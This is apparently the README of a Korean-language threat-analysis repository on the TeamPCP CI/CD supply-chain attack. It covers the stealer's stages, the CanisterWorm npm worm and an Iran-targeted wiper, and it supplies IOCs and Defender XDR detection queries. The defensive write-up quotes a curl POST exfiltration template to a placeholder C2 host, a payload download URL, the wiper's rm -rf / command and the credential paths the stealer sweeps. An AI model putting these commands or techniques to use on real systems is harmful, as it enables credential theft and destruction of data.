TeamPCP 공급망 공격: 기술 분석 및 탐지 가이드

CVE-2026-33634 (CVSS 9.4) — 2026년 현재까지 가장 영향력이 큰 CI/CD 공급망 공격.

2026년 3월 19일부터 25일 사이, 위협 행위자 TeamPCP(DeadCatx3, PCPcat, ShellForce, CanisterWorm으로도 추적됨)는 GitHub Actions, Docker Hub, OpenVSX, npm, PyPI 등 5개 생태계에 걸친 연쇄적 공급망 손상을 실행했습니다. 불완전하게 순환된 단일 GitHub PAT에서 시작된 이 캠페인은 두 개의 주요 오픈소스 보안 벤더(Aqua Security 및 Checkmarx), 4개의 GitHub Actions 저장소, 2개의 VS Code 확장 프로그램, 컨테이너 레지스트리, 66개 이상의 npm 패키지로 확산되었습니다.

이 저장소는 전체 기술 분석, 선별된 IOC 목록(FP 테스트 완료), Microsoft Defender XDR에 바로 배포할 수 있는 탐지 쿼리를 제공합니다.

목차

• 공격 타임라인
• 킬 체인 분석
• 손상된 아티팩트
• 자격 증명 스틸러 작동 방식
• CanisterWorm — npm 전파
• 이란 표적 Wiper 구성 요소
• 탐지 및 헌팅
• IOC 목록
• FP 필터링 참고 사항
• MITRE ATT&CK 매핑
• 참고 자료

공격 타임라인

킬 체인 분석

1단계 — 초기 접근

근본 원인: 2월 28일 침해 이후의 불완전한 자격 증명 순환. aqua-bot 서비스 계정 PAT가 폐기되지 않았거나, 공격자가 순환 과정에서 새 토큰을 관찰했습니다.

TeamPCP는 이 유지된 접근 권한을 사용하여 악성 사칭 커밋에 버전 태그를 강제 푸시했습니다. 각 위조 커밋은 원본의 메타데이터(작성자, 타임스탬프, 메시지)를 복제하면서 진입점 스크립트를 스틸러 페이로드로 교체했습니다. GitHub 릴리스 페이지에는 눈에 띄는 변화가 없었습니다 — "Immutable" 배지조차 정상적으로 표시되었습니다.

2단계 — 페이로드 실행

스틸러(204줄짜리 entrypoint.sh로, 스스로를 "TeamPCP Cloud stealer"라고 식별)는 3개 스테이지로 구성된 공격을 실행합니다:

스테이지 1: 메모리 스크래핑

Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

스테이지 2: 파일시스템 자격 증명 스윕

50개 이상의 민감한 경로를 스캔합니다:

• SSH 키(~/.ssh/*)
• AWS/GCP/Azure 자격 증명
• Kubernetes 토큰 및 구성
• Docker 레지스트리 자격 증명
• Terraform 상태 파일
• 암호화폐 지갑(Solana, Bitcoin, Ethereum, Cardano)
• npm 토큰(~/.npmrc)
• 셸 히스토리
• .env 파일

스테이지 3: 암호화된 유출

• 수집된 모든 데이터를 tpcp.tar.gz로 번들링
• AES-256-CBC(임의 세션 키) + RSA-4096/RSA-OAEP(공격자의 공개 키)로 암호화
• 벤더별 타입스쿼트 도메인으로 curl POST를 통해 유출
• 폴백: 도난된 GITHUB_TOKEN을 사용하여 피해자의 GitHub 계정에 tpcp-docs 또는 docs-tpcp 저장소 생성

3단계 — 지속성

비 CI Linux 시스템에서 악성코드는:

1. 숨겨진 디렉터리 ~/.config/sysmon/ 생성
2. Python 백도어(sysmon.py) 드롭
3. 50분마다 C2를 폴링하는 systemd 사용자 서비스 설치
4. 킬 스위치: C2 응답에 "youtube"가 포함되면 백도어 실행 건너뜀

4단계 — 수평 이동(Checkmarx 웨이브)

Trivy 웨이브에서 도난된 자격 증명으로 Checkmarx 생태계의 손상이 가능해졌습니다. 각각의 새로운 웨이브는 이전 웨이브의 차단 목록을 회피하기 위해 서로 다른 타입스쿼트 C2 도메인을 사용했습니다:

손상된 아티팩트

GitHub Actions

OpenVSX 확장 프로그램(VS Code Marketplace는 영향 없음)

두 확장 프로그램 모두 3월 23일 12:53 UTC에 ast-phoenix 계정을 통해 12초 간격으로 게시되었습니다. 활성화 시 environmentAuthChecker.js가 클라우드 공급자 자격 증명을 확인한 다음 checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz에서 2차 스테이지 스틸러를 가져옵니다.

컨테이너 이미지

PyPI

K8s 수평 이동 툴킷이 포함된 3중 중첩 base64 페이로드. checkmarx.zone/raw를 폴링하는 sysmon.service를 통한 지속성.

자격 증명 스틸러 작동 방식

유출 패턴은 모든 웨이브에서 동일합니다:

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

타입스쿼트 도메인 전략은 의도적입니다: CI/CD 로그를 검토하는 분석가는 해당 액션의 자체 벤더 도메인처럼 보이는 곳으로 향하는 curl 트래픽을 보게 됩니다. 신중한 비교 없이는 빠른 로그 검토에서 scan.aquasecurtiy.org가 aquasecurity.org로 통과됩니다.

도난된 데이터를 복호화할 수 있는 것은 공격자뿐입니다 — AES 세션 키는 공격자의 공개 키로 RSA-OAEP 암호화됩니다.

CanisterWorm — npm 전파

Trivy 손상 후 24시간 이내에, 도난된 npm 토큰으로 66개 이상의 패키지(141개의 악성 아티팩트)에 걸친 자가 전파 웜이 가능해졌습니다.

CanisterWorm이 주목할 만한 이유:

• C2로 ICP(Internet Computer Protocol) 블록체인 캐니스터를 사용하는 최초의 문서화된 npm 악성코드
• tdtqy-oyaaa-aaaae-af2dq-cai의 캐니스터는 분산형 스마트 계약 — 단일 제거 지점 없음
• 3개의 메서드 노출: get_latest_link, http_request, update_link
• 공격자는 npm 패키지를 다시 게시하지 않고도 모든 감염 머신에서 페이로드를 교체할 수 있음
• 킬 스위치: 캐니스터가 youtube.com을 포함하는 URL을 반환하면 백도어가 휴면 상태가 됨
• 지속성: pgmon(PostgreSQL 모니터링)으로 위장하는 systemd 사용자 서비스
• 폴링 간격: 50분마다
• 바이너리는 /tmp/pglog에 드롭, 상태는 /tmp/.pg_state에 추적

알려진 손상 범위: @emilgroup/*, @teale.io/*(@teale.io/eslint-config v1.8.11, v1.8.12의 자가 전파 변종)

이란 표적 Wiper 구성 요소

파괴적 변종은 이란 시스템을 구체적으로 표적합니다:

1. Kubernetes + 이란: 모든 노드(컨트롤 플레인 포함)에 권한 있는 DaemonSet 배포, kamikaze라는 컨테이너를 통해 데이터 삭제 및 강제 재부팅 수행
2. Kubernetes + 비이란: CanisterWorm 백도어를 systemd 서비스로 설치
3. 비 K8s + 이란: sudo로 rm -rf / --no-preserve-root 실행
4. 비 K8s + 비이란: 조치 없음

탐지는 시스템 시간대 및 로케일 확인을 통해 이루어집니다.

탐지 및 헌팅

Microsoft Defender XDR — 사용자 지정 탐지 규칙

규칙 이름: TeamPCP Supply Chain C2 and Malware IOC Match
심각도: 높음
범주: CommandAndControl
빈도: 매 1시간

전체 KQL 쿼리는 detection/defender_xdr_query.kql을 참조하세요.

쿼리는 다음 항목을 포함합니다:

• 7개의 SHA256 파일 해시(스틸러 + CanisterWorm 변종)
• 2개의 C2 IP 주소
• 4개의 C2 도메인(타입스쿼트 + ICP 캐니스터)
• 4개의 특정 C2 URL
• DNS 확인 검사

Defender TI 지표 가져오기

바로 가져올 수 있는 CSV가 iocs/FINAL_TeamPCP_IOC_25Mar2026.csv에 제공됩니다. 이 파일은 프로덕션 엔터프라이즈 환경에서 FP 테스트를 거쳤습니다.

기타 플랫폼

IOC 목록

파일 해시(SHA256)

네트워크 IOC

C2 URL 경로

지속성 아티팩트

GitHub 유출 저장소(폴백)

FP 필터링 참고 사항

이 저장소의 탐지 쿼리와 IOC CSV는 다음을 실행하는 프로덕션 환경에서 테스트되었습니다:

• community.general 및 kubernetes.core 컬렉션을 사용하는 Ansible AWX/Tower
• macOS 개발자 워크스테이션의 Claude Code 및 GitHub Copilot
• FortiMonitor 에이전트(IMDS 폴링)
• OCI 인스턴스의 Oracle AHF(IMDS 폴링)
• 다양한 Python/Node.js 개발 도구 체인

다음 IOC는 확인된 오탐(false positive)으로 인해 제거되었습니다:

MITRE ATT&CK 매핑

참고 자료

라이선스

MIT — 자유롭게 사용, 공유, 수정 가능. 출처 표기를 부탁드립니다.

저자: Ugur Can Ates — SOC 팀 리드 겸 시니어 보안 엔지니어
최종 업데이트: 2026년 3월 25일